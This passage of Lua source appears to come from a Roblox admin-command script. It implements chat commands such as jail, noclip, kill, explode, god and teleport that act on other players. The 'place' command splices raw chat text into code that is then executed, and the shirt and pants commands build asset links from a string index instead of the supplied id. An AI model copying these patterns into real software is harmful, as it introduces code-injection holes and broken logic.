- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]] cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "uncape " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "noclip " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
- cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "clip " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
- v.Character.Torso.Anchored = false
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jail " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local vname = v.Name
- local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
- local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
- local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- end)
- local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
- local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
- local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
- local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
- local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
- local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
- local msh2 = msh:Clone() msh2.Parent = back
- local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
- local msh4 = msh3:Clone() msh4.Parent = left
- v.Character.Torso.CFrame = cf
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unjail " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
- end
- if msg:lower():sub(1,11) == "starttools " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "sword " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
- sword.GripForward = Vector3.new(-1,0,0)
- sword.GripPos = Vector3.new(0,0,-1.5)
- sword.GripRight = Vector3.new(0,1,0)
- sword.GripUp = Vector3.new(0,0,1)
- local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
- local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
- local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local Damage = 15
- local SlashSound = Instance.new("Sound", script.Parent.Handle)
- SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
- SlashSound.Volume = 1
- local LungeSound = Instance.new("Sound", script.Parent.Handle)
- LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
- LungeSound.Volume = 1
- local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
- UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
- UnsheathSound.Volume = 1
- local last = 0
- script.Parent.Handle.Touched:connect(function(hit)
- if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
- local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
- hit.Parent.Humanoid:TakeDamage(Damage)
- end
- end)
- script.Parent.Activated:connect(function()
- if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
- script.Parent.Enabled = false
- local tick = game:service("RunService").Stepped:wait()
- if tick - last <= .2 then
- LungeSound:play()
- local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
- local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
- wait(.2)
- script.Parent.GripForward = Vector3.new(0,0,1)
- script.Parent.GripRight = Vector3.new(0,-1,0)
- script.Parent.GripUp = Vector3.new(-1,0,0)
- wait(.3)
- frc:Destroy() wait(.5)
- script.Parent.GripForward = Vector3.new(-1,0,0)
- script.Parent.GripRight = Vector3.new(0,1,0)
- script.Parent.GripUp = Vector3.new(0,0,1)
- else
- SlashSound:play()
- local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
- end
- last = tick
- script.Parent.Enabled = true
- end)
- script.Parent.Equipped:connect(function(mouse)
- for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
- UnsheathSound:play()
- script.Parent.Enabled = true
- if not mouse then return end
- mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
- end)]] cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kill " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character:BreakJoints() end
- end))
- end
- end
- if msg:lower():sub(1,8) == "respawn " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v:LoadCharacter() end
- end))
- end
- end
- if msg:lower():sub(1,5) == "trip " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "stun " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = true
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unstun " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jump " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Jump = true
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "sit " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Sit = true
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "invisible " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "visible " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "lock " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unlock " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "explode " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "age " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "fire " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unfire " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "smoke " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unsmoke " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "sparkles " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "unsparkles " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "ff " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then Instance.new("ForceField", v.Character) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unff " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "punish " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Lighting")
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unpunish " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Workspace")
- v.Character:MakeJoints()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "freeze " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "thaw " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "heal " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "god " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = math.huge
- v.Character.Humanoid.Health = 9e9
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "ungod " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = 100
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "ambient " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,11) == "brightness " then
- game.Lighting.Brightness = msg:sub(12)
- end
- if msg:lower():sub(1,5) == "time " then
- game.Lighting.TimeOfDay = msg:sub(6)
- end
- if msg:lower():sub(1,9) == "fogcolor " then
- local chk1 = msg:lower():sub(10):find(" ") + 9
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,7) == "fogend " then
- game.Lighting.FogEnd = msg:sub(8)
- end
- if msg:lower():sub(1,9) == "fogstart " then
- game.Lighting.FogStart = msg:sub(10)
- end
- if msg:lower():sub(1,7) == "btools " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
- local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
- local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
- local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
- local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
- local sb
- local hs
- local pdist
- script.Parent.Selected:connect(function(mouse)
- if not mouse then return end
- sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
- hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
- mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
- hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
- hs.MouseButton1Down:connect(function() pdist = 0 end)
- end)
- script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "give " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
- for a, tool in pairs(game.Lighting:children()) do
- if tool:IsA("Tool") or tool:IsA("HopperBin") then
- if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "removetools " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v:findFirstChild("Backpack") then
- for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "rank " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:IsInGroup(msg:sub(chk1+1)) then
- Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
- elseif v and not v:IsInGroup(msg:sub(chk1+1))then
- Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "damage " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "grav " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "setgrav " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "nograv " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "health " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "speed " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "team " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and game:findFirstChild("Teams") then
- for a, tm in pairs(game.Teams:children()) do
- if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "place " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "tp " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- for i2, v2 in pairs(plrz2) do
- if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "change " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, st in pairs(v.leaderstats:children()) do
- if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shirt " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "pants " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
- end
